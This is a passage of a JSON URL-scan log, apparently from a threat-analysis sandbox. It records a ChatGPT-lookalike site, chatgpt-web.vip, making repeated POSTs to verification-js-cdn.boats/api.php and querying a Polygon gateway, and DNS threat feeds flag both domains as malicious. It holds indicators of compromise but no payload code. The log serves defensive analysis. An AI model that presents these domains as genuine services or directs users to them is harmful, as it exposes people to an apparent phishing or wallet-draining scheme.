GmbH","country":"Germany","country_code":"DE"},"is_navigation_request":false,"resource_type":"fetch","requested_by":"https://chatgpt-web.vip/","date":"2026-06-14T01:17:10.213Z","timestamp":1781399830213,"http_version":"HTTP/2","security_state":"secure","security_info":{"cipher_suite":"TLS_AES_256_GCM_SHA384","key_group_name":"x25519","signature_name":"RSA-PSS-SHA256","protocol":"TLSv1.3","cert":{"subject":{"commonName":"verification-js-cdn.boats","organization":""},"issuer":{"commonName":"YR1","organization":"Let's Encrypt"},"validity":{"start":"Fri, 12 Jun 2026 23:02:25 GMT","end":"Thu, 10 Sep 2026 23:02:24 GMT"},"fingerprint":{"sha1":"61:BF:1F:D5:38:A7:CC:A0:4B:C2:0C:8A:7E:13:88:EB:EF:90:21:F9","sha256":"A2:60:F1:6C:75:E5:21:B8:B8:7D:D0:BC:2F:54:59:37:B4:3E:A8:3F:89:76:02:EF:4A:AD:B3:4F:7B:51:44:56"}}},"request":{"raw":"POST /api.php HTTP/1.1\r\nHost: verification-js-cdn.boats\r\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0\r\nAccept: */*\r\nAccept-Language: en-US,en;q=0.9\r\nAccept-Encoding: gzip, deflate, br, zstd\r\nReferer: https://chatgpt-web.vip/\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 194\r\nOrigin: https://chatgpt-web.vip\r\nSec-GPC: 1\r\nConnection: keep-alive\r\nSec-Fetch-Dest: empty\r\nSec-Fetch-Mode: cors\r\nSec-Fetch-Site: cross-site\r\nPriority: u=4\r\nPragma: no-cache\r\nCache-Control: no-cache\r\n\r\n","headers":null,"cookies":null,"method":"POST"},"response":{"raw":"HTTP/2 200 \r\nserver: nginx\r\ndate: Sun, 14 Jun 2026 01:17:10 GMT\r\ncontent-type: text/plain; charset=utf-8\r\nvary: Accept-Encoding\r\naccess-control-allow-origin: *\r\naccess-control-allow-methods: GET, POST, OPTIONS\r\naccess-control-allow-headers: Content-Type\r\ncache-control: no-store, no-cache\r\nstrict-transport-security: max-age=31536000\r\ncontent-encoding: gzip\r\nX-Firefox-Spdy: h2\r\n\r\n","headers":null,"cookies":null,"status_code":"200","status_text":"","fingerprints":[{"name":"HSTS","description":"HTTP Strict Transport Security (HSTS) informs browsers that the site should only be accessed using HTTPS.","website":"https://www.rfc-editor.org/rfc/rfc6797#section-6.1","common_platform_enumeration":"","icon":"","categories":["Security"]},{"name":"Nginx","description":"Nginx is a web server that can also be used as a reverse proxy, load balancer, mail proxy and HTTP cache.","website":"https://nginx.org/en","common_platform_enumeration":"cpe:2.3:a:f5:nginx:*:*:*:*:*:*:*:*","icon":"Nginx.svg","categories":["Web servers","Reverse proxies"]}],"data":{"size":68,"size_decoded":451,"mime_type":"text/plain; charset=utf-8","magic":"ASCII text, with no line terminators","md5":"67d9e5fae9b84107c6e85de31033524e","sha1":"058de18e0183099c11e5ff6b41b11f148030a9c1","sha256":"b8c6d9d546a064fcb530ab2acd1984a9d7205a8d8504004eac58a07953a26c54","sha512":"a8c7eb4f638929579a915775a886f1bdbb6a8906b68ad7db035d276971d26fdc19bfc5f02dea5530eb1b2cf106368d90d55929e0b63a515ca03a8c422fd0b7d0","ssdeep":"","tlshash":"64a002944a66a0f256457257447ae3a37afd05b24da704ed12686550ff46b219024485","first_seen":"2026-06-14T01:17:14.822353Z","last_seen":"2026-09-12T17:35:26.756645Z","times_seen":4,"resource_available":true,"data":null}},"time_used":109,"timings":{"blocked":0,"dns":0,"connect":0,"send":0,"wait":109,"receive":0,"ssl":0},"alerts":{"ids":null,"analyzer":[{"sensor_name":"ultradns","sensor_type":"DNS","title":"DigiCert UltraDNS","description":"DigiCert UltraDNS","scan_date":"2026-06-13","alert":"Sinkholed","trigger":"verification-js-cdn.boats","verdict":"malicious","severity":"medium","comment":"","link":"https://vercara.digicert.com/ultra-dns-public","meta":null},{"sensor_name":"quad9","sensor_type":"DNS","title":"Quad9 DNS","description":"Quad9 DNS","scan_date":"2026-06-13","alert":"Sinkholed","trigger":"verification-js-cdn.boats","verdict":"malicious","severity":"medium","comment":"Sinkholed in DNS","link":"https://www.quad9.net","meta":null}],"urlquery":null}},{"url":{"schema":"https","addr":"chatgpt-web.vip/","fqdn":"chatgpt-web.vip","domain":"chatgpt-web.vip","tld":"vip"},"ip":{"addr":"","port":0,"asn":0,"as":"","country":"","country_code":"zz"},"is_navigation_request":true,"resource_type":"document","requested_by":"","date":"2026-06-14T01:16:41.384Z","timestamp":1781399801384,"http_version":"","security_state":"insecure","security_info":null,"request":{"raw":"GET / HTTP/1.1\r\nHost: chatgpt-web.vip\r\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\nAccept-Language: en-US,en;q=0.9\r\nAccept-Encoding: gzip, deflate, br, zstd\r\nSec-GPC: 1\r\nConnection: keep-alive\r\nUpgrade-Insecure-Requests: 1\r\nSec-Fetch-Dest: document\r\nSec-Fetch-Mode: navigate\r\nSec-Fetch-Site: none\r\nPriority: u=0, i\r\nPragma: no-cache\r\nCache-Control: no-cache\r\n\r\n","headers":null,"cookies":null,"method":"GET"},"response":{"raw":"","headers":null,"cookies":null,"status_code":"","status_text":"","fingerprints":null,"data":{"size":0,"size_decoded":0,"mime_type":"","magic":"","md5":"d41d8cd98f00b204e9800998ecf8427e","sha1":"da39a3ee5e6b4b0d3255bfef95601890afd80709","sha256":"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855","sha512":"cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e","ssdeep":"","tlshash":"","first_seen":"0001-01-01T00:00:00Z","last_seen":"2026-09-21T12:48:33.167431Z","times_seen":18583610,"resource_available":true,"data":null}},"time_used":0,"timings":{"blocked":0,"dns":0,"connect":0,"send":0,"wait":0,"receive":0,"ssl":0},"alerts":{"ids":null,"analyzer":[{"sensor_name":"dns4eu","sensor_type":"DNS","title":"DNS4EU","description":"DNS4EU","scan_date":"2026-06-14","alert":"Sinkholed","trigger":"chatgpt-web.vip","verdict":"malicious","severity":"medium","comment":"","link":"https://www.joindns4.eu/","meta":null},{"sensor_name":"hagezi","sensor_type":"DNS","title":"Hagezi Threat Feed","description":"Hagezi Threat Feed","scan_date":"2026-06-14","alert":"Sinkholed","trigger":"chatgpt-web.vip","verdict":"malicious","severity":"medium","comment":"","link":"https://github.com/hagezi/dns-blocklists","meta":null}],"urlquery":null}},{"url":{"schema":"https","addr":"chatgpt-web.vip/","fqdn":"chatgpt-web.vip","domain":"chatgpt-web.vip","tld":"vip"},"ip":{"addr":"2.27.5.153","port":443,"asn":12576,"as":"EE Limited","country":"United Kingdom","country_code":"GB"},"is_navigation_request":true,"resource_type":"document","requested_by":"","date":"2026-06-14T01:16:51.658Z","timestamp":1781399811658,"http_version":"HTTP/2","security_state":"secure","security_info":{"cipher_suite":"TLS_AES_128_GCM_SHA256","key_group_name":"x25519","signature_name":"RSA-PSS-SHA256","protocol":"TLSv1.3","cert":{"subject":{"commonName":"chatgpt-web.vip","organization":""},"issuer":{"commonName":"R12","organization":"Let's Encrypt"},"validity":{"start":"Fri, 22 May 2026 22:10:18 GMT","end":"Thu, 20 Aug 2026 22:10:17 GMT"},"fingerprint":{"sha1":"D7:11:FC:ED:78:81:A2:A1:D9:18:F6:69:D8:EE:51:2A:34:5C:11:1C","sha256":"2C:AF:7B:5B:8A:BC:A4:3B:FC:D4:71:82:02:DF:5D:4E:86:C4:D0:2D:E2:1E:FD:D9:17:23:95:C3:7D:6A:B4:07"}}},"request":{"raw":"GET / HTTP/1.1\r\nHost: chatgpt-web.vip\r\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\nAccept-Language: en-US,en;q=0.9\r\nAccept-Encoding: gzip, deflate, br, zstd\r\nSec-GPC: 1\r\nConnection: keep-alive\r\nUpgrade-Insecure-Requests: 1\r\nSec-Fetch-Dest: document\r\nSec-Fetch-Mode: navigate\r\nSec-Fetch-Site: none\r\nSec-Fetch-User: ?1\r\nPriority: u=0, i\r\nPragma: no-cache\r\nCache-Control: no-cache\r\n\r\n","headers":null,"cookies":null,"method":"GET"},"response":{"raw":"HTTP/2 200 \r\nserver: nginx\r\ndate: Sun, 14 Jun 2026 01:16:51 GMT\r\ncontent-type: text/html; charset=utf-8\r\ncontent-length: 3285\r\nlast-modified: Sat, 13 Jun 2026 11:14:54 GMT\r\netag: \"2ea9-65420b3e51c48-gzip\"\r\naccept-ranges: bytes\r\nvary: Accept-Encoding\r\ncontent-encoding: gzip\r\nstrict-transport-security: max-age=31536000;\r\nX-Firefox-Spdy: h2\r\n\r\n","headers":null,"cookies":null,"status_code":"200","status_text":"","fingerprints":[{"name":"HSTS","description":"HTTP Strict Transport Security (HSTS) informs browsers that the site should only be accessed using HTTPS.","website":"https://www.rfc-editor.org/rfc/rfc6797#section-6.1","common_platform_enumeration":"","icon":"","categories":["Security"]},{"name":"Nginx","description":"Nginx is a web server that can also be used as a reverse proxy, load balancer, mail proxy and HTTP cache.","website":"https://nginx.org/en","common_platform_enumeration":"cpe:2.3:a:f5:nginx:*:*:*:*:*:*:*:*","icon":"Nginx.svg","categories":["Web servers","Reverse proxies"]}],"data":{"size":11945,"size_decoded":3628,"mime_type":"text/html; charset=utf-8","magic":"HTML document, Unicode text, UTF-8 text, with very long lines (6319)","md5":"eedad74ffca74554493d24b207b450db","sha1":"b7ce2d15bc511054bad28b6b499f45b9855906ce","sha256":"8840a0ddf53786d7bd23ac0bfa0bd2c23e9ba2f64e4807bf60371f8dd36bbc13","sha512":"c32e0d19a627f9b181ec5bb00b3e70b7aa465b3dab3146f8443de9e58f3807a08f3aaaf68654bdca89d4ddeca6f64aa794cb0f8e5af0dde2a4d0cc85aef5ddc3","ssdeep":"192:PbQwv6K6ALCNMvKjKelg+FobBhpmkJzKfaAa+oFC6uo/QsoQmExFwl:PZ4A8E/lJ2VLo5QHhOwl","tlshash":"2d32cee30774866a33c545c14411b50b6ae8d41b8c2de16cbfd978dfaf5da92483eb23","first_seen":"2026-06-14T01:17:14.824279Z","last_seen":"2026-06-14T01:17:14.824279Z","times_seen":1,"resource_available":false,"data":null}},"time_used":268,"timings":{"blocked":0,"dns":36,"connect":64,"send":0,"wait":65,"receive":0,"ssl":103},"alerts":{"ids":null,"analyzer":[{"sensor_name":"dns4eu","sensor_type":"DNS","title":"DNS4EU","description":"DNS4EU","scan_date":"2026-06-14","alert":"Sinkholed","trigger":"chatgpt-web.vip","verdict":"malicious","severity":"medium","comment":"","link":"https://www.joindns4.eu/","meta":null},{"sensor_name":"hagezi","sensor_type":"DNS","title":"Hagezi Threat Feed","description":"Hagezi Threat Feed","scan_date":"2026-06-14","alert":"Sinkholed","trigger":"chatgpt-web.vip","verdict":"malicious","severity":"medium","comment":"","link":"https://github.com/hagezi/dns-blocklists","meta":null}],"urlquery":null}},{"url":{"schema":"https","addr":"polygon.gateway.tenderly.co/","fqdn":"polygon.gateway.tenderly.co","domain":"tenderly.co","tld":"co"},"ip":{"addr":"35.227.193.242","port":443,"asn":396982,"as":"GOOGLE-CLOUD-PLATFORM","country":"United States","country_code":"US"},"is_navigation_request":false,"resource_type":"xhr","requested_by":"https://chatgpt-web.vip/","date":"2026-06-14T01:16:52.257Z","timestamp":1781399812257,"http_version":"HTTP/2","security_state":"secure","security_info":{"cipher_suite":"TLS_AES_128_GCM_SHA256","key_group_name":"x25519","signature_name":"RSA-PSS-SHA256","protocol":"TLSv1.3","cert":{"subject":{"commonName":"*.gateway.tenderly.co","organization":""},"issuer":{"commonName":"R13","organization":"Let's Encrypt"},"validity":{"start":"Thu, 16 Apr 2026 18:57:50 GMT","end":"Wed, 15 Jul 2026 18:57:49 GMT"},"fingerprint":{"sha1":"D4:1E:4E:BE:ED:D6:8D:35:78:33:6F:18:EF:FD:85:7E:19:8C:CF:07","sha256":"BE:3D:19:2A:A0:6D:EF:C6:F9:9A:03:C4:BF:81:F3:31:08:F3:8E:F4:4D:CE:03:0D:CD:16:24:94:2C:19:A6:D0"}}},"request":{"raw":"OPTIONS / HTTP/1.1\r\nHost: polygon.gateway.tenderly.co\r\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0\r\nAccept: */*\r\nAccept-Language: en-US,en;q=0.9\r\nAccept-Encoding: gzip, deflate, br, zstd\r\nAccess-Control-Request-Method: POST\r\nAccess-Control-Request-Headers: content-type\r\nReferer: https://chatgpt-web.vip/\r\nOrigin: https://chatgpt-web.vip\r\nSec-GPC: 1\r\nConnection: keep-alive\r\nSec-Fetch-Dest: empty\r\nSec-Fetch-Mode: cors\r\nSec-Fetch-Site: cross-site\r\nPriority: u=4\r\nPragma: no-cache\r\nCache-Control: no-cache\r\n\r\n","headers":null,"cookies":null,"method":"OPTIONS"},"response":{"raw":"HTTP/2 200 \r\naccess-control-allow-headers: Content-Type\r\naccess-control-allow-methods: POST\r\naccess-control-allow-origin: *\r\nvary: Origin, Access-Control-Request-Method, Access-Control-Request-Headers\r\ndate: Sun, 14 Jun 2026 01:16:52 GMT\r\ncontent-length: 0\r\nx-envoy-upstream-service-time: 0\r\nserver: envoy\r\nvia: 1.1 google\r\nalt-svc: h3=\":443\"; ma=2592000\r\nX-Firefox-Spdy: h2\r\n\r\n","headers":null,"cookies":null,"status_code":"200","status_text":"","fingerprints":[{"name":"Google Cloud CDN","description":"Cloud CDN uses Google's global edge network to serve content closer to users.","website":"https://cloud.google.com/cdn","common_platform_enumeration":"","icon":"google-cloud-cdn.svg","categories":["CDN"]},{"name":"Google Cloud","description":"Google Cloud is a suite of cloud computing services.","website":"https://cloud.google.com","common_platform_enumeration":"cpe:2.3:a:google:cloud_platform:*:*:*:*:*:*:*:*","icon":"Google Cloud.svg","categories":["IaaS"]},{"name":"Envoy","description":"Envoy is an open-source edge and service proxy, designed for cloud-native applications.","website":"https://www.envoyproxy.io/","common_platform_enumeration":"cpe:2.3:a:envoyproxy:envoy:*:*:*:*:*:*:*:*","icon":"Envoy.png","categories":["Reverse proxies"]}],"data":{"size":0,"size_decoded":378,"mime_type":"text/plain","magic":"","md5":"d41d8cd98f00b204e9800998ecf8427e","sha1":"da39a3ee5e6b4b0d3255bfef95601890afd80709","sha256":"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855","sha512":"cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e","ssdeep":"","tlshash":"","first_seen":"0001-01-01T00:00:00Z","last_seen":"2026-09-21T12:48:33.167431Z","times_seen":18583610,"resource_available":true,"data":null}},"time_used":478,"timings":{"blocked":-1,"dns":51,"connect":344,"send":0,"wait":76,"receive":0,"ssl":47},"alerts":{"ids":null,"analyzer":null,"urlquery":null}},{"url":{"schema":"https","addr":"verification-js-cdn.boats/api.php","fqdn":"verification-js-cdn.boats","domain":"verification-js-cdn.boats","tld":"boats"},"ip":{"addr":"178.16.52.101","port":443,"asn":40999,"as":"dus.net GmbH","country":"Germany","country_code":"DE"},"is_navigation_request":false,"resource_type":"fetch","requested_by":"https://chatgpt-web.vip/","date":"2026-06-14T01:17:08.595Z","timestamp":1781399828595,"http_version":"HTTP/2","security_state":"secure","security_info":{"cipher_suite":"TLS_AES_256_GCM_SHA384","key_group_name":"x25519","signature_name":"RSA-PSS-SHA256","protocol":"TLSv1.3","cert":{"subject":{"commonName":"verification-js-cdn.boats","organization":""},"issuer":{"commonName":"YR1","organization":"Let's Encrypt"},"validity":{"start":"Fri, 12 Jun 2026 23:02:25 GMT","end":"Thu, 10 Sep 2026 23:02:24 GMT"},"fingerprint":{"sha1":"61:BF:1F:D5:38:A7:CC:A0:4B:C2:0C:8A:7E:13:88:EB:EF:90:21:F9","sha256":"A2:60:F1:6C:75:E5:21:B8:B8:7D:D0:BC:2F:54:59:37:B4:3E:A8:3F:89:76:02:EF:4A:AD:B3:4F:7B:51:44:56"}}},"request":{"raw":"POST /api.php HTTP/1.1\r\nHost: verification-js-cdn.boats\r\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0\r\nAccept: */*\r\nAccept-Language: en-US,en;q=0.9\r\nAccept-Encoding: gzip, deflate, br, zstd\r\nReferer: https://chatgpt-web.vip/\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 194\r\nOrigin: https://chatgpt-web.vip\r\nSec-GPC: 1\r\nConnection: keep-alive\r\nSec-Fetch-Dest: empty\r\nSec-Fetch-Mode: cors\r\nSec-Fetch-Site: cross-site\r\nPriority: u=4\r\nPragma: no-cache\r\nCache-Control: no-cache\r\n\r\n","headers":null,"cookies":null,"method":"POST"},"response":{"raw":"HTTP/2 200 \r\nserver: nginx\r\ndate: Sun, 14 Jun 2026 01:17:08 GMT\r\ncontent-type: text/plain; charset=utf-8\r\nvary: Accept-Encoding\r\naccess-control-allow-origin: *\r\naccess-control-allow-methods: GET, POST, OPTIONS\r\naccess-control-allow-headers: Content-Type\r\ncache-control: no-store, no-cache\r\nstrict-transport-security: max-age=31536000\r\ncontent-encoding: gzip\r\nX-Firefox-Spdy: h2\r\n\r\n","headers":null,"cookies":null,"status_code":"200","status_text":"","fingerprints":[{"name":"HSTS","description":"HTTP Strict Transport Security (HSTS) informs browsers that the site should only be accessed using HTTPS.","website":"https://www.rfc-editor.org/rfc/rfc6797#section-6.1","common_platform_enumeration":"","icon":"","categories":["Security"]},{"name":"Nginx","description":"Nginx is a web server that can also be used as a reverse proxy, load balancer, mail proxy and HTTP cache.","website":"https://nginx.org/en","common_platform_enumeration":"cpe:2.3:a:f5:nginx:*:*:*:*:*:*:*:*","icon":"Nginx.svg","categories":["Web servers","Reverse proxies"]}],"data":{"size":68,"size_decoded":451,"mime_type":"text/plain; charset=utf-8","magic":"ASCII text, with no line terminators","md5":"67d9e5fae9b84107c6e85de31033524e","sha1":"058de18e0183099c11e5ff6b41b11f148030a9c1","sha256":"b8c6d9d546a064fcb530ab2acd1984a9d7205a8d8504004eac58a07953a26c54","sha512":"a8c7eb4f638929579a915775a886f1bdbb6a8906b68ad7db035d276971d26fdc19bfc5f02dea5530eb1b2cf106368d90d55929e0b63a515ca03a8c422fd0b7d0","ssdeep":"","tlshash":"64a002944a66a0f256457257447ae3a37afd05b24da704ed12686550ff46b219024485","first_seen":"2026-06-14T01:17:14.822353Z","last_seen":"2026-09-12T17:35:26.756645Z","times_seen":4,"resource_available":true,"data":null}},"time_used":112,"timings":{"blocked":0,"dns":0,"connect":0,"send":0,"wait":112,"receive":0,"ssl":0},"alerts":{"ids":null,"analyzer":[{"sensor_name":"ultradns","sensor_type":"DNS","title":"DigiCert UltraDNS","description":"DigiCert UltraDNS","scan_date":"2026-06-13","alert":"Sinkholed","trigger":"verification-js-cdn.boats","verdict":"malicious","severity":"medium","comment":"","link":"https://vercara.digicert.com/ultra-dns-public","meta":null},{"sensor_name":"quad9","sensor_type":"DNS","title":"Quad9 DNS","description":"Quad9 DNS","scan_date":"2026-06-13","alert":"Sinkholed","trigger":"verification-js-cdn.boats","verdict":"malicious","severity":"medium","comment":"Sinkholed in DNS","link":"https://www.quad9.net","meta":null}],"urlquery":null}},{"url":{"schema":"https","addr":"verification-js-cdn.boats/api.php","fqdn":"verification-js-cdn.boats","domain":"verification-js-cdn.boats","tld":"boats"},"ip":{"addr":"178.16.52.101","port":443,"asn":40999,"as":"dus.net GmbH","country":"Germany","country_code":"DE"},"is_navigation_request":false,"resource_type":"fetch","requested_by":"https://chatgpt-web.vip/","date":"2026-06-14T01:16:57.206Z","timestamp":1781399817206,"http_version":"HTTP/2","security_state":"secure","security_info":{"cipher_suite":"TLS_AES_256_GCM_SHA384","key_group_name":"x25519","signature_name":"RSA-PSS-SHA256","protocol":"TLSv1.3","cert":{"subject":{"commonName":"verification-js-cdn.boats","organization":""},"issuer":{"commonName":"YR1","organization":"Let's Encrypt"},"validity":{"start":"Fri, 12 Jun 2026 23:02:25 GMT","end":"Thu, 10 Sep 2026 23:02:24 GMT"},"fingerprint":{"sha1":"61:BF:1F:D5:38:A7:CC:A0:4B:C2:0C:8A:7E:13:88:EB:EF:90:21:F9","sha256":"A2:60:F1:6C:75:E5:21:B8:B8:7D:D0:BC:2F:54:59:37:B4:3E:A8:3F:89:76:02:EF:4A:AD:B3:4F:7B:51:44:56"}}},"request":{"raw":"POST /api.php HTTP/1.1\r\nHost: verification-js-cdn.boats\r\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0\r\nAccept: */*\r\nAccept-Language: en-US,en;q=0.9\r\nAccept-Encoding: gzip, deflate, br, zstd\r\nReferer: https://chatgpt-web.vip/\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 194\r\nOrigin: https://chatgpt-web.vip\r\nSec-GPC: 1\r\nConnection: keep-alive\r\nSec-Fetch-Dest: empty\r\nSec-Fetch-Mode: cors\r\nSec-Fetch-Site: cross-site\r\nPriority: u=4\r\nPragma: no-cache\r\nCache-Control: no-cache\r\n\r\n","headers":null,"cookies":null,"method":"POST"},"response":{"raw":"HTTP/2 200 \r\nserver: nginx\r\ndate: Sun, 14 Jun 2026 01:16:57 GMT\r\ncontent-type: text/plain; charset=utf-8\r\nvary: Accept-Encoding\r\naccess-control-allow-origin: *\r\naccess-control-allow-methods: GET, POST, OPTIONS\r\naccess-control-allow-headers: Content-Type\r\ncache-control: no-store, no-cache\r\nstrict-transport-security: max-age=31536000\r\ncontent-encoding: gzip\r\nX-Firefox-Spdy: h2\r\n\r\n","headers":null,"cookies":null,"status_code":"200","status_text":"","fingerprints":[{"name":"HSTS","description":"HTTP Strict Transport Security (HSTS) informs browsers that the site should only be accessed using HTTPS.","website":"https://www.rfc-editor.org/rfc/rfc6797#section-6.1","common_platform_enumeration":"","icon":"","categories":["Security"]},{"name":"Nginx","description":"Nginx is a web server that can also be used as a reverse proxy, load balancer, mail proxy and HTTP cache.","website":"https://nginx.org/en","common_platform_enumeration":"cpe:2.3:a:f5:nginx:*:*:*:*:*:*:*:*","icon":"Nginx.svg","categories":["Web servers","Reverse proxies"]}],"data":{"size":68,"size_decoded":451,"mime_type":"text/plain; charset=utf-8","magic":"ASCII text, with no line terminators","md5":"67d9e5fae9b84107c6e85de31033524e","sha1":"058de18e0183099c11e5ff6b41b11f148030a9c1","sha256":"b8c6d9d546a064fcb530ab2acd1984a9d7205a8d8504004eac58a07953a26c54","sha512":"a8c7eb4f638929579a915775a886f1bdbb6a8906b68ad7db035d276971d26fdc19bfc5f02dea5530eb1b2cf106368d90d55929e0b63a515ca03a8c422fd0b7d0","ssdeep":"","tlshash":"64a002944a66a0f256457257447ae3a37afd05b24da704ed12686550ff46b219024485","first_seen":"2026-06-14T01:17:14.822353Z","last_seen":"2026-09-12T17:35:26.756645Z","times_seen":4,"resource_available":true,"data":null}},"time_used":113,"timings":{"blocked":0,"dns":0,"connect":0,"send":0,"wait":113,"receive":0,"ssl":0},"alerts":{"ids":null,"analyzer":[{"sensor_name":"ultradns","sensor_type":"DNS","title":"DigiCert UltraDNS","description":"DigiCert UltraDNS","scan_date":"2026-06-13","alert":"Sinkholed","trigger":"verification-js-cdn.boats","verdict":"malicious","severity":"medium","comment":"","link":"https://vercara.digicert.com/ultra-dns-public","meta":null},{"sensor_name":"quad9","sensor_type":"DNS","title":"Quad9 DNS","description":"Quad9 DNS","scan_date":"2026-06-13","alert":"Sinkholed","trigger":"verification-js-cdn.boats","verdict":"malicious","severity":"medium","comment":"Sinkholed in DNS","link":"https://www.quad9.net","meta":null}],"urlquery":null}},{"url":{"schema":"https","addr":"verification-js-cdn.boats/api.php","fqdn":"verification-js-cdn.boats","domain":"verification-js-cdn.boats","tld":"boats"},"ip":{"addr":"178.16.52.101","port":443,"asn":40999,"as":"dus.net GmbH","country":"Germany","country_code":"DE"},"is_navigation_request":false,"resource_type":"fetch","requested_by":"https://chatgpt-web.vip/","date":"2026-06-14T01:17:03.730Z","timestamp":1781399823730,"http_version":"HTTP/2","security_state":"secure","security_info":{"cipher_suite":"TLS_AES_256_GCM_SHA384","key_group_name":"x25519","signature_name":"RSA-PSS-SHA256","protocol":"TLSv1.3","cert":{"subject":{"commonName":"verification-js-cdn.boats","organization":""},"issuer":{"commonName":"YR1","organization":"Let's Encrypt"},"validity":{"start":"Fri, 12 Jun 2026 23:02:25 GMT","end":"Thu, 10 Sep 2026 23:02:24 GMT"},"fingerprint":{"sha1":"61:BF:1F:D5:38:A7:CC:A0:4B:C2:0C:8A:7E:13:88:EB:EF:90:21:F9","sha256":"A2:60:F1:6C:75:E5:21:B8:B8:7D:D0:BC:2F:54:59:37:B4:3E:A8:3F:89:76:02:EF:4A:AD:B3:4F:7B:51:44:56"}}},"request":{"raw":"POST /api.php HTTP/1.1\r\nHost: verification-js-cdn.boats\r\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0\r\nAccept: */*\r\nAccept-Language: en-US,en;q=0.9\r\nAccept-Encoding: gzip, deflate, br, zstd\r\nReferer: https://chatgpt-web.vip/\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 194\r\nOrigin: https://chatgpt-web.vip\r\nSec-GPC: 1\r\nConnection: keep-alive\r\nSec-Fetch-Dest: empty\r\nSec-Fetch-Mode: cors\r\nSec-Fetch-Site: cross-site\r\nPriority: u=4\r\nPragma: no-cache\r\nCache-Control: no-cache\r\n\r\n","headers":null,"cookies":null,"method":"POST"},"response":{"raw":"HTTP/2 200 \r\nserver: nginx\r\ndate: Sun, 14 Jun 2026 01:17:03 GMT\r\ncontent-type: text/plain; charset=utf-8\r\nvary: Accept-Encoding\r\naccess-control-allow-origin: *\r\naccess-control-allow-methods: GET, POST, OPTIONS\r\naccess-control-allow-headers: Content-Type\r\ncache-control: no-store, no-cache\r\nstrict-transport-security: max-age=31536000\r\ncontent-encoding: gzip\r\nX-Firefox-Spdy: h2\r\n\r\n","headers":null,"cookies":null,"status_code":"200","status_text":"","fingerprints":[{"name":"HSTS","description":"HTTP Strict Transport Security (HSTS) informs browsers that the site should only be accessed using HTTPS.","website":"https://www.rfc-editor.org/rfc/rfc6797#section-6.1","common_platform_enumeration":"","icon":"","categories":["Security"]},{"name":"Nginx","description":"Nginx is a web server that can also be used as a reverse proxy, load balancer, mail proxy and HTTP cache.","website":"https://nginx.org/en","common_platform_enumeration":"cpe:2.3:a:f5:nginx:*:*:*:*:*:*:*:*","icon":"Nginx.svg","categories":["Web servers","Reverse proxies"]}],"data":{"size":68,"size_decoded":451,"mime_type":"text/plain; charset=utf-8","magic":"ASCII text, with no line terminators","md5":"67d9e5fae9b84107c6e85de31033524e","sha1":"058de18e0183099c11e5ff6b41b11f148030a9c1","sha256":"b8c6d9d546a064fcb530ab2acd1984a9d7205a8d8504004eac58a07953a26c54","sha512":"a8c7eb4f638929579a915775a886f1bdbb6a8906b68ad7db035d276971d26fdc19bfc5f02dea5530eb1b2cf106368d90d55929e0b63a515ca03a8c422fd0b7d0","ssdeep":"","tlshash":"64a002944a66a0f256457257447ae3a37afd05b24da704ed12686550ff46b219024485","first_seen":"2026-06-14T01:17:14.822353Z","last_seen":"2026-09-12T17:35:26.756645Z","times_seen":4,"resource_available":true,"data":null}},"time_used":110,"timings":{"blocked":0,"dns":0,"connect":0,"send":0,"wait":110,"receive":0,"ssl":0},"alerts":{"ids":null,"analyzer":[{"sensor_name":"ultradns","sensor_type":"DNS","title":"DigiCert UltraDNS","description":"DigiCert UltraDNS","scan_date":"2026-06-13","alert":"Sinkholed","trigger":"verification-js-cdn.boats","verdict":"malicious","severity":"medium","comment":"","link":"https://vercara.digicert.com/ultra-dns-public","meta":null},{"sensor_name":"quad9","sensor_type":"DNS","title":"Quad9 DNS","description":"Quad9 DNS","scan_date":"2026-06-13","alert":"Sinkholed","trigger":"verification-js-cdn.boats","verdict":"malicious","severity":"medium","comment":"Sinkholed in DNS","link":"https://www.quad9.net","meta":null}],"urlquery":null}},{"url":{"schema":"https","addr":"verification-js-cdn.boats/api.php","fqdn":"verification-js-cdn.boats","domain":"verification-js-cdn.boats","tld":"boats"},"ip":{"addr":"178.16.52.101","port":443,"asn":40999,"as":"dus.net GmbH","country":"Germany","country_code":"DE"},"is_navigation_request":false,"resource_type":"fetch","requested_by":"https://chatgpt-web.vip/","date":"2026-06-14T01:17:05.348Z","timestamp":1781399825348,"http_version":"HTTP/2","security_state":"secure","security_info":{"cipher_suite":"TLS_AES_256_GCM_SHA384","key_group_name":"x25519","signature_name":"RSA-PSS-SHA256","protocol":"TLSv1.3","cert":{"subject":{"commonName":"verification-js-cdn.boats","organization":""},"issuer":{"commonName":"YR1","organization":"Let's Encrypt"},"validity":{"start":"Fri, 12 Jun 2026 23:02:25 GMT","end":"Thu, 10 Sep 2026 23:02:24 GMT"},"fingerprint":{"sha1":"61:BF:1F:D5:38:A7:CC:A0:4B:C2:0C:8A:7E:13:88:EB:EF:90:21:F9","sha256":"A2:60:F1:6C:75:E5:21:B8:B8:7D:D0:BC:2F:54:59:37:B4:3E:A8:3F:89:76:02:EF:4A:AD:B3:4F:7B:51:44:56"}}},"request":{"raw":"POST /api.php 